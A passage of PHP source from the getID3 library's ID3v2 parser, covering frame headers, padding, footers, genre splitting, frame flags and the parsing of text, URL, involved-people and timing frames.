					// Size      $xx xx xx xx (32-bit integer in v2.3, 28-bit synchsafe in v2.4+)
					// Flags     $xx xx

					$frame_header = substr($framedata, 0, 10); // take next 10 bytes for header
					$framedata    = substr($framedata, 10);    // and leave the rest in $framedata

					$frame_name = substr($frame_header, 0, 4);
					if ($id3v2_majorversion == 3) {
						$frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer
					} else { // ID3v2.4+
						$frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 1); // 32-bit synchsafe integer (28-bit value)
					}

					if ($frame_size < (strlen($framedata) + 4)) {
						$nextFrameID = substr($framedata, $frame_size, 4);
						if ($this->IsValidID3v2FrameName($nextFrameID, $id3v2_majorversion)) {
							// next frame is OK
						} elseif (($frame_name == "\x00".'MP3') || ($frame_name == "\x00\x00".'MP') || ($frame_name == ' MP3') || ($frame_name == 'MP3e')) {
							// MP3ext known broken frames - "ok" for the purposes of this test
						} elseif (($id3v2_majorversion == 4) && ($this->IsValidID3v2FrameName(substr($framedata, getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0), 4), 3))) {
							$this->warning('ID3v2 tag written as ID3v2.4, but with non-synchsafe integers (ID3v2.3 style). Older versions of (Helium2; iTunes) are known culprits of this. Tag has been parsed as ID3v2.3');
							$id3v2_majorversion = 3;
							$frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer
						}
					}


					$frame_flags = getid3_lib::BigEndian2Int(substr($frame_header, 8, 2));
				}

				if ((($id3v2_majorversion == 2) && ($frame_name == "\x00\x00\x00")) || ($frame_name == "\x00\x00\x00\x00")) {
					// padding encountered

					$thisfile_id3v2['padding']['start']  = $framedataoffset;
					$thisfile_id3v2['padding']['length'] = strlen($frame_header) + strlen($framedata);
					$thisfile_id3v2['padding']['valid']  = true;

					$len = strlen($framedata);
					for ($i = 0; $i < $len; $i++) {
						if ($framedata[$i] != "\x00") {
							$thisfile_id3v2['padding']['valid'] = false;
							$thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i;
							$this->warning('Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)');
							break;
						}
					}
					break; // skip rest of ID3v2 header
				}

				if ($iTunesBrokenFrameNameFixed = self::ID3v22iTunesBrokenFrameName($frame_name)) {
					$this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by iTunes (versions "X v2.0.3", "v3.0.1", "v7.0.0.70" are known-guilty, probably others too)]. Translated frame name from "'.str_replace("\x00", ' ', $frame_name).'" to "'.$iTunesBrokenFrameNameFixed.'" for parsing.');
					$frame_name = $iTunesBrokenFrameNameFixed;
				}
				if (($frame_size <= strlen($framedata)) && ($this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion))) {

					$parsedFrame                    = array();
					$parsedFrame['frame_name']      = $frame_name;
					$parsedFrame['frame_flags_raw'] = $frame_flags;
					$parsedFrame['data']            = substr($framedata, 0, $frame_size);
					$parsedFrame['datalength']      = getid3_lib::CastAsInt($frame_size);
					$parsedFrame['dataoffset']      = $framedataoffset;

					$this->ParseID3v2Frame($parsedFrame);
					$thisfile_id3v2[$frame_name][] = $parsedFrame;

					$framedata = substr($framedata, $frame_size);

				} else { // invalid frame length or FrameID

					if ($frame_size <= strlen($framedata)) {

						if ($this->IsValidID3v2FrameName(substr($framedata, $frame_size, 4), $id3v2_majorversion)) {

							// next frame is valid, just skip the current frame
							$framedata = substr($framedata, $frame_size);
							$this->warning('Next ID3v2 frame is valid, skipping current frame.');

						} else {

							// next frame is invalid too, abort processing
							//unset($framedata);
							$framedata = null;
							$this->error('Next ID3v2 frame is also invalid, aborting processing.');

						}

					} elseif ($frame_size == strlen($framedata)) {

						// this is the last frame, just skip
						$this->warning('This was the last ID3v2 frame.');

					} else {

						// next frame is invalid too, abort processing
						//unset($framedata);
						$framedata = null;
						$this->warning('Invalid ID3v2 frame size, aborting.');

					}
					if (!$this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion)) {

						switch ($frame_name) {
							case "\x00\x00".'MP':
							case "\x00".'MP3':
							case ' MP3':
							case 'MP3e':
							case "\x00".'MP':
							case ' MP':
							case 'MP3':
								$this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by "MP3ext (www.mutschler.de/mp3ext/)"]');
								break;

							default:
								$this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))).');
								break;
						}

					} elseif (!isset($framedata) || ($frame_size > strlen($framedata))) {

						$this->error('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: $frame_size ('.$frame_size.') > strlen($framedata) ('.(isset($framedata) ? strlen($framedata) : 'null').')).');

					} else {

						$this->error('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag).');

					}

				}
				$framedataoffset += ($frame_size + $this->ID3v2HeaderLength($id3v2_majorversion));

			}

		}


	//    Footer

	//    The footer is a copy of the header, but with a different identifier.
	//        ID3v2 identifier           "3DI"
	//        ID3v2 version              $04 00
	//        ID3v2 flags                %abcd0000
	//        ID3v2 size             4 * %0xxxxxxx

		if (isset($thisfile_id3v2_flags['isfooter']) && $thisfile_id3v2_flags['isfooter']) {
			$footer = $this->fread(10);
			if (substr($footer, 0, 3) == '3DI') {
				$thisfile_id3v2['footer'] = true;
				$thisfile_id3v2['majorversion_footer'] = ord($footer[3]);
				$thisfile_id3v2['minorversion_footer'] = ord($footer[4]);
			}
			if ($thisfile_id3v2['majorversion_footer'] <= 4) {
				$id3_flags = ord($footer[5]);
				$thisfile_id3v2_flags['unsynch_footer']  = (bool) ($id3_flags & 0x80);
				$thisfile_id3v2_flags['extfoot_footer']  = (bool) ($id3_flags & 0x40);
				$thisfile_id3v2_flags['experim_footer']  = (bool) ($id3_flags & 0x20);
				$thisfile_id3v2_flags['isfooter_footer'] = (bool) ($id3_flags & 0x10);

				$thisfile_id3v2['footerlength'] = getid3_lib::BigEndian2Int(substr($footer, 6, 4), 1);
			}
		} // end footer

		if (isset($thisfile_id3v2['comments']['genre'])) {
			$genres = array();
			foreach ($thisfile_id3v2['comments']['genre'] as $key => $value) {
				foreach ($this->ParseID3v2GenreString($value) as $genre) {
					$genres[] = $genre;
				}
			}
			$thisfile_id3v2['comments']['genre'] = array_unique($genres);
			unset($key, $value, $genres, $genre);
		}

		if (isset($thisfile_id3v2['comments']['track_number'])) {
			foreach ($thisfile_id3v2['comments']['track_number'] as $key => $value) {
				if (strstr($value, '/')) {
					list($thisfile_id3v2['comments']['track_number'][$key], $thisfile_id3v2['comments']['totaltracks'][$key]) = explode('/', $thisfile_id3v2['comments']['track_number'][$key]);
				}
			}
		}

		if (!isset($thisfile_id3v2['comments']['year']) && !empty($thisfile_id3v2['comments']['recording_time'][0]) && preg_match('#^([0-9]{4})#', trim($thisfile_id3v2['comments']['recording_time'][0]), $matches)) {
			$thisfile_id3v2['comments']['year'] = array($matches[1]);
		}


		if (!empty($thisfile_id3v2['TXXX'])) {
			// MediaMonkey does this, maybe others: write a blank RGAD frame, but put replay-gain adjustment values in TXXX frames
			foreach ($thisfile_id3v2['TXXX'] as $txxx_array) {
				switch ($txxx_array['description']) {
					case 'replaygain_track_gain':
						if (empty($info['replay_gain']['track']['adjustment']) && !empty($txxx_array['data'])) {
							$info['replay_gain']['track']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data'])));
						}
						break;
					case 'replaygain_track_peak':
						if (empty($info['replay_gain']['track']['peak']) && !empty($txxx_array['data'])) {
							$info['replay_gain']['track']['peak'] = floatval($txxx_array['data']);
						}
						break;
					case 'replaygain_album_gain':
						if (empty($info['replay_gain']['album']['adjustment']) && !empty($txxx_array['data'])) {
							$info['replay_gain']['album']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data'])));
						}
						break;
				}
			}
		}


		// Set avdataoffset
		$info['avdataoffset'] = $thisfile_id3v2['headerlength'];
		if (isset($thisfile_id3v2['footer'])) {
			$info['avdataoffset'] += 10;
		}

		return true;
	}

	/**
	 * @param string $genrestring
	 *
	 * @return array
	 */
	public function ParseID3v2GenreString($genrestring) {
		// Parse genres into arrays of genreName and genreID
		// ID3v2.2.x, ID3v2.3.x: '(21)' or '(4)Eurodisco' or '(51)(39)' or '(55)((I think...)'
		// ID3v2.4.x: '21' $00 'Eurodisco' $00
		$clean_genres = array();

		// hack-fixes for some badly-written ID3v2.3 taggers, while trying not to break correctly-written tags
		if (($this->getid3->info['id3v2']['majorversion'] == 3) && !preg_match('#[\x00]#', $genrestring)) {
			// note: MusicBrainz Picard incorrectly stores plaintext genres separated by "/" when writing in ID3v2.3 mode, hack-fix here:
			// replace / with NULL, then replace back the two ID3v1 genres that legitimately have "/" as part of the single genre name
			if (strpos($genrestring, '/') !== false) {
				$LegitimateSlashedGenreList = array(  // https://github.com/JamesHeinrich/getID3/issues/223
					'Pop/Funk',    // ID3v1 genre #62 - https://en.wikipedia.org/wiki/ID3#standard
					'Cut-up/DJ',   // Discogs - https://www.discogs.com/style/cut-up/dj
					'RnB/Swing',   // Discogs - https://www.discogs.com/style/rnb/swing
					'Funk / Soul', // Discogs (note spaces) - https://www.discogs.com/genre/funk+%2F+soul
				);
				$genrestring = str_replace('/', "\x00", $genrestring);
				foreach ($LegitimateSlashedGenreList as $SlashedGenre) {
					$genrestring = str_ireplace(str_replace('/', "\x00", $SlashedGenre), $SlashedGenre, $genrestring);
				}
			}

			// some other taggers separate multiple genres with semicolon, e.g. "Heavy Metal;Thrash Metal;Metal"
			if (strpos($genrestring, ';') !== false) {
				$genrestring = str_replace(';', "\x00", $genrestring);
			}
		}


		if (strpos($genrestring, "\x00") === false) {
			$genrestring = preg_replace('#\(([0-9]{1,3})\)#', '$1'."\x00", $genrestring);
		}

		$genre_elements = explode("\x00", $genrestring);
		foreach ($genre_elements as $element) {
			$element = trim($element);
			if ($element) {
				if (preg_match('#^[0-9]{1,3}$#', $element)) {
					$clean_genres[] = getid3_id3v1::LookupGenreName($element);
				} else {
					$clean_genres[] = str_replace('((', '(', $element);
				}
			}
		}
		return $clean_genres;
	}

	/**
	 * @param array $parsedFrame
	 *
	 * @return bool
	 */
	public function ParseID3v2Frame(&$parsedFrame) {

		// shortcuts
		$info = &$this->getid3->info;
		$id3v2_majorversion = $info['id3v2']['majorversion'];

		$parsedFrame['framenamelong']  = $this->FrameNameLongLookup($parsedFrame['frame_name']);
		if (empty($parsedFrame['framenamelong'])) {
			unset($parsedFrame['framenamelong']);
		}
		$parsedFrame['framenameshort'] = $this->FrameNameShortLookup($parsedFrame['frame_name']);
		if (empty($parsedFrame['framenameshort'])) {
			unset($parsedFrame['framenameshort']);
		}

		if ($id3v2_majorversion >= 3) { // frame flags are not part of the ID3v2.2 standard
			if ($id3v2_majorversion == 3) {
				//    Frame Header Flags
				//    %abc00000 %ijk00000
				$parsedFrame['flags']['TagAlterPreservation']  = (bool) ($parsedFrame['frame_flags_raw'] & 0x8000); // a - Tag alter preservation
				$parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // b - File alter preservation
				$parsedFrame['flags']['ReadOnly']              = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // c - Read only
				$parsedFrame['flags']['compression']           = (bool) ($parsedFrame['frame_flags_raw'] & 0x0080); // i - Compression
				$parsedFrame['flags']['Encryption']            = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // j - Encryption
				$parsedFrame['flags']['GroupingIdentity']      = (bool) ($parsedFrame['frame_flags_raw'] & 0x0020); // k - Grouping identity

			} elseif ($id3v2_majorversion == 4) {
				//    Frame Header Flags
				//    %0abc0000 %0h00kmnp
				$parsedFrame['flags']['TagAlterPreservation']  = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // a - Tag alter preservation
				$parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // b - File alter preservation
				$parsedFrame['flags']['ReadOnly']              = (bool) ($parsedFrame['frame_flags_raw'] & 0x1000); // c - Read only
				$parsedFrame['flags']['GroupingIdentity']      = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // h - Grouping identity
				$parsedFrame['flags']['compression']           = (bool) ($parsedFrame['frame_flags_raw'] & 0x0008); // k - Compression
				$parsedFrame['flags']['Encryption']            = (bool) ($parsedFrame['frame_flags_raw'] & 0x0004); // m - Encryption
				$parsedFrame['flags']['Unsynchronisation']     = (bool) ($parsedFrame['frame_flags_raw'] & 0x0002); // n - Unsynchronisation
				$parsedFrame['flags']['DataLengthIndicator']   = (bool) ($parsedFrame['frame_flags_raw'] & 0x0001); // p - Data length indicator

				// Frame-level de-unsynchronisation - ID3v2.4
				if ($parsedFrame['flags']['Unsynchronisation']) {
					$parsedFrame['data'] = $this->DeUnsynchronise($parsedFrame['data']);
				}

				if ($parsedFrame['flags']['DataLengthIndicator']) {
					$parsedFrame['data_length_indicator'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4), 1);
					$parsedFrame['data']                  =                           substr($parsedFrame['data'], 4);
				}
			}

			//    Frame-level de-compression
			if ($parsedFrame['flags']['compression']) {
				$parsedFrame['decompressed_size'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4));
				if (!function_exists('gzuncompress')) {
					$this->warning('gzuncompress() support required to decompress ID3v2 frame "'.$parsedFrame['frame_name'].'"');
				} else {
					if ($decompresseddata = @gzuncompress(substr($parsedFrame['data'], 4))) {
					//if ($decompresseddata = @gzuncompress($parsedFrame['data'])) {
						$parsedFrame['data'] = $decompresseddata;
						unset($decompresseddata);
					} else {
						$this->warning('gzuncompress() failed on compressed contents of ID3v2 frame "'.$parsedFrame['frame_name'].'"');
					}
				}
			}
		}

		if (!empty($parsedFrame['flags']['DataLengthIndicator'])) {
			if ($parsedFrame['data_length_indicator'] != strlen($parsedFrame['data'])) {
				$this->warning('ID3v2 frame "'.$parsedFrame['frame_name'].'" should be '.$parsedFrame['data_length_indicator'].' bytes long according to DataLengthIndicator, but found '.strlen($parsedFrame['data']).' bytes of data');
			}
		}

		if (isset($parsedFrame['datalength']) && ($parsedFrame['datalength'] == 0)) {

			$warning = 'Frame "'.$parsedFrame['frame_name'].'" at offset '.$parsedFrame['dataoffset'].' has no data portion';
			switch ($parsedFrame['frame_name']) {
				case 'WCOM':
					$warning .= ' (this is known to happen with files tagged by RioPort)';
					break;

				default:
					break;
			}
			$this->warning($warning);

		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'UFID')) || // 4.1   UFID Unique file identifier
			(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'UFI'))) {  // 4.1   UFI  Unique file identifier
			//   There may be more than one 'UFID' frame in a tag,
			//   but only one with the same 'Owner identifier'.
			// <Header for 'Unique file identifier', ID: 'UFID'>
			// Owner identifier        <text string> $00
			// Identifier              <up to 64 bytes binary data>
			$exploded = explode("\x00", $parsedFrame['data'], 2);
			$parsedFrame['ownerid'] = $exploded[0];
			$parsedFrame['data']    = (isset($exploded[1]) ? $exploded[1] : '');

		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'TXXX')) || // 4.2.2 TXXX User defined text information frame
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'TXX'))) {    // 4.2.2 TXX  User defined text information frame
			//   There may be more than one 'TXXX' frame in each tag,
			//   but only one with the same description.
			// <Header for 'User defined text information frame', ID: 'TXXX'>
			// Text encoding     $xx
			// Description       <text string according to encoding> $00 (00)
			// Value             <text string according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
			$parsedFrame['encodingid']  = $frame_textencoding;
			$parsedFrame['encoding']    = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['description'] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['description']));
			$parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
			$parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $frame_textencoding_terminator);
			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				$commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0));
				if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) {
					$info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']));
				} else {
					$info['id3v2']['comments'][$parsedFrame['framenameshort']][]            = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']));
				}
			}
			//unset($parsedFrame['data']); do not unset, may be needed elsewhere, e.g. for replaygain


		} elseif ($parsedFrame['frame_name'][0] == 'T') { // 4.2. T??[?] Text information frame
			//   There may only be one text information frame of its kind in an tag.
			// <Header for 'Text information frame', ID: 'T000' - 'TZZZ',
			// excluding 'TXXX' described in 4.2.6.>
			// Text encoding                $xx
			// Information                  <text string(s) according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
			}

			$parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset);
			$parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding));

			$parsedFrame['encodingid'] = $frame_textencoding;
			$parsedFrame['encoding']   = $this->TextEncodingNameLookup($frame_textencoding);
			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				// ID3v2.3 specs say that TPE1 (and others) can contain multiple artist values separated with /
				// This of course breaks when an artist name contains slash character, e.g. "AC/DC"
				// MP3tag (maybe others) implement alternative system where multiple artists are null-separated, which makes more sense
				// getID3 will split null-separated artists into multiple artists and leave slash-separated ones to the user
				switch ($parsedFrame['encoding']) {
					case 'UTF-16':
					case 'UTF-16BE':
					case 'UTF-16LE':
						$wordsize = 2;
						break;
					case 'ISO-8859-1':
					case 'UTF-8':
					default:
						$wordsize = 1;
						break;
				}
				$Txxx_elements = array();
				$Txxx_elements_start_offset = 0;
				for ($i = 0; $i < strlen($parsedFrame['data']); $i += $wordsize) {
					if (substr($parsedFrame['data'], $i, $wordsize) == str_repeat("\x00", $wordsize)) {
						$Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset);
						$Txxx_elements_start_offset = $i + $wordsize;
					}
				}
				$Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset);
				foreach ($Txxx_elements as $Txxx_element) {
					$string = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $Txxx_element);
					if (!empty($string)) {
						$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $string;
					}
				}
				unset($string, $wordsize, $i, $Txxx_elements, $Txxx_element, $Txxx_elements_start_offset);
			}

		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'WXXX')) || // 4.3.2 WXXX User defined URL link frame
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'WXX'))) {    // 4.3.2 WXX  User defined URL link frame
			//   There may be more than one 'WXXX' frame in each tag,
			//   but only one with the same description
			// <Header for 'User defined URL link frame', ID: 'WXXX'>
			// Text encoding     $xx
			// Description       <text string according to encoding> $00 (00)
			// URL               <text string>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$parsedFrame['encodingid']  = $frame_textencoding;
			$parsedFrame['encoding']    = $this->TextEncodingNameLookup($frame_textencoding);
			$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);           // according to the frame text encoding
			$parsedFrame['url']         = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); // always ISO-8859-1
			$parsedFrame['description'] = $this->RemoveStringTerminator($parsedFrame['description'], $frame_textencoding_terminator);
			$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);

			if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback('ISO-8859-1', $info['id3v2']['encoding'], $parsedFrame['url']);
			}
			unset($parsedFrame['data']);


		} elseif ($parsedFrame['frame_name'][0] == 'W') { // 4.3. W??? URL link frames
			//   There may only be one URL link frame of its kind in a tag,
			//   except when stated otherwise in the frame description
			// <Header for 'URL link frame', ID: 'W000' - 'WZZZ', excluding 'WXXX'
			// described in 4.3.2.>
			// URL              <text string>

			$parsedFrame['url'] = trim($parsedFrame['data']); // always ISO-8859-1
			if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback('ISO-8859-1', $info['id3v2']['encoding'], $parsedFrame['url']);
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'IPLS')) || // 4.4  IPLS Involved people list (ID3v2.3 only)
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'IPL'))) {     // 4.4  IPL  Involved people list (ID3v2.2 only)
			// http://id3.org/id3v2.3.0#sec4.4
			//   There may only be one 'IPL' frame in each tag
			// <Header for 'User defined URL link frame', ID: 'IPL'>
			// Text encoding     $xx
			// People list strings    <textstrings>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
			}
			$parsedFrame['encodingid'] = $frame_textencoding;
			$parsedFrame['encoding']   = $this->TextEncodingNameLookup($parsedFrame['encodingid']);
			$parsedFrame['data_raw']   = (string) substr($parsedFrame['data'], $frame_offset);

			// https://www.getid3.org/phpBB3/viewtopic.php?t=1369
			// "this tag typically contains null terminated strings, which are associated in pairs"
			// "there are users that use the tag incorrectly"
			$IPLS_parts = array();
			if (strpos($parsedFrame['data_raw'], "\x00") !== false) {
				$IPLS_parts_unsorted = array();
				if (((strlen($parsedFrame['data_raw']) % 2) == 0) && ((substr($parsedFrame['data_raw'], 0, 2) == "\xFF\xFE") || (substr($parsedFrame['data_raw'], 0, 2) == "\xFE\xFF"))) {
					// UTF-16, be careful looking for null bytes since most 2-byte characters may contain one; you need to find twin null bytes, and on even padding
					$thisILPS  = '';
					for ($i = 0; $i < strlen($parsedFrame['data_raw']); $i += 2) {
						$twobytes = substr($parsedFrame['data_raw'], $i, 2);
						if ($twobytes === "\x00\x00") {
							$IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS);
							$thisILPS  = '';
						} else {
							$thisILPS .= $twobytes;
						}
					}
					if (strlen($thisILPS) > 2) { // 2-byte BOM
						$IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS);
					}
				} else {
					// ISO-8859-1 or UTF-8 or other single-byte-null character set
					$IPLS_parts_unsorted = explode("\x00", $parsedFrame['data_raw']);
				}
				if (count($IPLS_parts_unsorted) == 1) {
					// just a list of names, e.g. "Dino Baptiste, Jimmy Copley, John Gordon, Bernie Marsden, Sharon Watson"
					foreach ($IPLS_parts_unsorted as $key => $value) {
						$IPLS_parts_sorted = preg_split('#[;,\\r\\n\\t]#', $value);
						$position = '';
						foreach ($IPLS_parts_sorted as $person) {
							$IPLS_parts[] = array('position'=>$position, 'person'=>$person);
						}
					}
				} elseif ((count($IPLS_parts_unsorted) % 2) == 0) {
					$position = '';
					$person   = '';
					foreach ($IPLS_parts_unsorted as $key => $value) {
						if (($key % 2) == 0) {
							$position = $value;
						} else {
							$person   = $value;
							$IPLS_parts[] = array('position'=>$position, 'person'=>$person);
							$position = '';
							$person   = '';
						}
					}
				} else {
					foreach ($IPLS_parts_unsorted as $key => $value) {
						$IPLS_parts[] = array($value);
					}
				}

			} else {
				$IPLS_parts = preg_split('#[;,\\r\\n\\t]#', $parsedFrame['data_raw']);
			}
			$parsedFrame['data'] = $IPLS_parts;

			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data'];
			}


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MCDI')) || // 4.4   MCDI Music CD identifier
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MCI'))) {     // 4.5   MCI  Music CD identifier
			//   There may only be one 'MCDI' frame in each tag
			// <Header for 'Music CD identifier', ID: 'MCDI'>
			// CD TOC                <binary data>

			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data'];
			}


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ETCO')) || // 4.5   ETCO Event timing codes
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ETC'))) {     // 4.6   ETC  Event timing codes
			//   There may only be one 'ETCO' frame in each tag
			// <Header for 'Event timing codes', ID: 'ETCO'>
			// Time stamp format    $xx
			//   Where time stamp format is:
			// $01  (32-bit value) MPEG frames from beginning of file
			// $02  (32-bit value) milliseconds from beginning of file
			//   Followed by a list of key events in the following format:
			// Type of event   $xx
			// Time stamp      $xx (xx ...)
			//   The 'Time stamp' is set to zero if directly at the beginning of the sound
			//   or after the previous event. All events MUST be sorted in chronological order.

			$frame_offset = 0;
			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));

			while ($frame_offset < strlen($parsedFrame['data'])) {
				$parsedFrame['typeid']    = substr($parsedFrame['data'], $frame_offset++, 1);
				$parsedFrame['type']      = $this->ETCOEventLookup($parsedFrame['typeid']);
				$parsedFrame['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
				$frame_offset += 4;
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MLLT')) || // 4.6   MLLT MPEG location lookup table
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MLL'))) {     // 4.7   MLL MPEG location lookup table
			//   There may only be one 'MLLT' frame in each tag
			// <Header for 'Location lookup table', ID: 'MLLT'>
			// MPEG frames between reference  $xx xx
			// Bytes between reference        $xx xx xx
			// Milliseconds between reference $xx xx xx
			// Bits for bytes deviation       $xx
